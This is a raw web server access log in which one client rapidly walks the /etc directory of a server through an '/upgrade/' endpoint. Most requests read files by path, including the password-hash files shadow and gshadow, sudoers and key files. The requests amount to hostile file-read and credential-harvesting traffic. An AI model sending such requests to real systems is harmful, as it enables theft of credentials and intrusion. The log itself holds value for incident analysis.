45.135.193.11 - - [11/Sep/2026:23:07:04 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fsudoers&location=%2Fetc%2F HTTP/1.1" 200 28609 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fsudoers&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:04 -0400] "GET /upgrade/?location=%2Fetc%2Fssl HTTP/1.1" 200 6391 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fssl" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:04 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fcpanel_mail_netblocks&location=%2Fetc%2F HTTP/1.1" 200 28728 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fcpanel_mail_netblocks&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:05 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fcpsources.conf.plugins.example&location=%2Fetc%2F HTTP/1.1" 200 29582 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fcpsources.conf.plugins.example&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:05 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fexim.conf.localopts&location=%2Fetc%2F HTTP/1.1" 200 29420 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fexim.conf.localopts&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:05 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Frc.local&location=%2Fetc%2F HTTP/1.1" 200 28651 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Frc.local&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:05 -0400] "GET /upgrade/?location=%2Fetc%2Fterminfo HTTP/1.1" 200 5722 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fterminfo" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:05 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fdbowners&location=%2Fetc%2F HTTP/1.1" 200 28480 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fdbowners&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:05 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fgreylist_common_mail_providers&location=%2Fetc%2F HTTP/1.1" 200 40412 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fgreylist_common_mail_providers&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:05 -0400] "GET /upgrade/?location=%2Fetc%2Fdepmod.d HTTP/1.1" 200 6049 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fdepmod.d" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:05 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fprotocols&location=%2Fetc%2F HTTP/1.1" 200 31738 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fprotocols&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:05 -0400] "GET /upgrade/?location=%2Fetc%2Fegl HTTP/1.1" 200 5930 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fegl" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:06 -0400] "GET /upgrade/?location=%2Fetc%2Fproftpd HTTP/1.1" 200 5747 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fproftpd" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:06 -0400] "GET /upgrade/?location=%2Fetc%2Fstunnel HTTP/1.1" 200 5722 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fstunnel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:06 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Feximrejects&location=%2Fetc%2F HTTP/1.1" 200 28829 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Feximrejects&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:06 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fissue&location=%2Fetc%2F HTTP/1.1" 200 28715 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fissue&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:06 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fodbc.ini&location=%2Fetc%2F HTTP/1.1" 200 28694 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fodbc.ini&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:06 -0400] "GET /upgrade/?location=%2Fetc%2Frpm HTTP/1.1" 200 6111 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Frpm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:06 -0400] "GET /upgrade/?location=%2Fetc%2Fscl HTTP/1.1" 200 6323 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fscl" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:06 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fbashrc&location=%2Fetc%2F HTTP/1.1" 200 30578 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fbashrc&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:06 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fexim.conf.dist&location=%2Fetc%2F HTTP/1.1" 200 36624 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fexim.conf.dist&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:06 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fexim_trusted_configs&location=%2Fetc%2F HTTP/1.1" 200 28728 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fexim_trusted_configs&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:06 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Flibaudit.conf&location=%2Fetc%2F HTTP/1.1" 200 27962 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Flibaudit.conf&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:07 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fmachine-id&location=%2Fetc%2F HTTP/1.1" 200 28691 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fmachine-id&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:07 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fyum.conf&location=%2Fetc%2F HTTP/1.1" 200 28819 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fyum.conf&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:07 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fexim.pl.local&location=%2Fetc%2F HTTP/1.1" 200 168667 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fexim.pl.local&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:07 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fmailbox_formats&location=%2Fetc%2F HTTP/1.1" 200 28662 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fmailbox_formats&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:07 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fnamed.rfc1912.zones&location=%2Fetc%2F HTTP/1.1" 200 28672 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fnamed.rfc1912.zones&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:07 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fnanorc&location=%2Fetc%2F HTTP/1.1" 200 32868 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fnanorc&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:07 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fwpmm-watchdog.json&location=%2Fetc%2F HTTP/1.1" 200 28663 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fwpmm-watchdog.json&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:07 -0400] "GET /upgrade/?location=%2Fetc%2Fexports.d HTTP/1.1" 200 5724 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fexports.d" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:07 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Flocaltime&location=%2Fetc%2F HTTP/1.1" 200 28758 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Flocaltime&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:08 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fneighbor_netblocks&location=%2Fetc%2F HTTP/1.1" 200 28708 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fneighbor_netblocks&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:08 -0400] "GET /upgrade/?location=%2Fetc%2FUPower HTTP/1.1" 200 6081 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2FUPower" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:08 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fsestatus.conf&location=%2Fetc%2F HTTP/1.1" 200 28331 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fsestatus.conf&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:08 -0400] "GET /upgrade/?location=%2Fetc%2Fgcrypt HTTP/1.1" 200 5721 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fgcrypt" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:08 -0400] "GET /upgrade/?location=%2Fetc%2Fmotd.d HTTP/1.1" 200 5721 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fmotd.d" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:08 -0400] "GET /upgrade/?location=%2Fetc%2Flibssh HTTP/1.1" 200 6147 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Flibssh" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:08 -0400] "GET /upgrade/?location=%2Fetc%2Fvdomainaliases HTTP/1.1" 200 5756 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fvdomainaliases" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:08 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Flock_manager_local.ini&location=%2Fetc%2F HTTP/1.1" 200 29089 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Flock_manager_local.ini&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:08 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fnamed.conf.zonedir.cache&location=%2Fetc%2F HTTP/1.1" 200 28713 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fnamed.conf.zonedir.cache&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:08 -0400] "GET /upgrade/?location=%2Fetc%2Fdnf HTTP/1.1" 200 6571 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fdnf" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:08 -0400] "GET /upgrade/?location=%2Fetc%2Fgnupg HTTP/1.1" 200 5721 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fgnupg" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:08 -0400] "GET /upgrade/?location=%2Fetc%2Fimunify-agent-proxy HTTP/1.1" 200 5762 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fimunify-agent-proxy" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:08 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2FDIR_COLORS.lightbgcolor&location=%2Fetc%2F HTTP/1.1" 200 31129 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2FDIR_COLORS.lightbgcolor&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:09 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fnetworks&location=%2Fetc%2F HTTP/1.1" 200 28693 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fnetworks&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:09 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fchrony.keys&location=%2Fetc%2F HTTP/1.1" 200 28656 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fchrony.keys&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:09 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fshadow&location=%2Fetc%2F HTTP/1.1" 200 28689 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fshadow&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:09 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fshadow-&location=%2Fetc%2F HTTP/1.1" 200 28691 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fshadow-&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:09 -0400] "GET /upgrade/?location=%2Fetc%2Fsystemd HTTP/1.1" 200 6852 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fsystemd" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:09 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fchrony.conf&location=%2Fetc%2F HTTP/1.1" 200 29435 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fchrony.conf&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:09 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fgshadow&location=%2Fetc%2F HTTP/1.1" 200 28691 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fgshadow&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:09 -0400] "GET /upgrade/?location=%2Fetc%2Fcron.monthly HTTP/1.1" 200 5727 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fcron.monthly" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:09 -0400] "GET /upgrade/?location=%2Fetc%2Fmail HTTP/1.1" 200 5921 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fmail" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:09 -0400] "GET /upgrade/?location=%2Fetc%2Fnamed HTTP/1.1" 200 5745 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fnamed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:09 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fstats.conf&location=%2Fetc%2F HTTP/1.1" 200 28695 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fstats.conf&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:09 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fmke2fs.conf&location=%2Fetc%2F HTTP/1.1" 200 29092 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fmke2fs.conf&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:09 -0400] "GET /upgrade/?location=%2Fetc%2Fiproute2 HTTP/1.1" 200 6047 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fiproute2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:10 -0400] "GET /upgrade/?location=%2Fetc%2Flibibverbs.d HTTP/1.1" 200 7052 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Flibibverbs.d" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:10 -0400] "GET /upgrade/?location=%2Fetc%2Fnvme HTTP/1.1" 200 6217 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fnvme" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:10 -0400] "GET /upgrade/?location=%2Fetc%2Fyum.repos.d HTTP/1.1" 200 7746 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fyum.repos.d" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:10 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Flocales.conf&location=%2Fetc%2F HTTP/1.1" 200 28804 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Flocales.conf&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:10 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fsenderverifybypasshosts&location=%2Fetc%2F HTTP/1.1" 200 28587 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fsenderverifybypasshosts&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:10 -0400] "GET /upgrade/?location=%2Fetc%2Fxdg HTTP/1.1" 200 6081 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fxdg" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:10 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fftpd-ca.pem&location=%2Fetc%2F HTTP/1.1" 200 28563 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fftpd-ca.pem&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:10 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fmailcap&location=%2Fetc%2F HTTP/1.1" 200 28805 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fmailcap&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:10 -0400] "GET /upgrade/?location=%2Fetc%2Fmodprobe.d HTTP/1.1" 200 6171 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fmodprobe.d" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:10 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fmailips&location=%2Fetc%2F HTTP/1.1" 200 28691 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fmailips&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:10 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fman_db.conf&location=%2Fetc%2F HTTP/1.1" 200 30812 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fman_db.conf&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:11 -0400] "GET /upgrade/?location=%2Fetc%2Fpopt.d HTTP/1.1" 200 5721 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fpopt.d" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:11 -0400] "GET /upgrade/?location=%2Fetc%2Fsw-engine HTTP/1.1" 200 6262 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fsw-engine" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:11 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Faliases&location=%2Fetc%2F HTTP/1.1" 200 29420 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Faliases&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
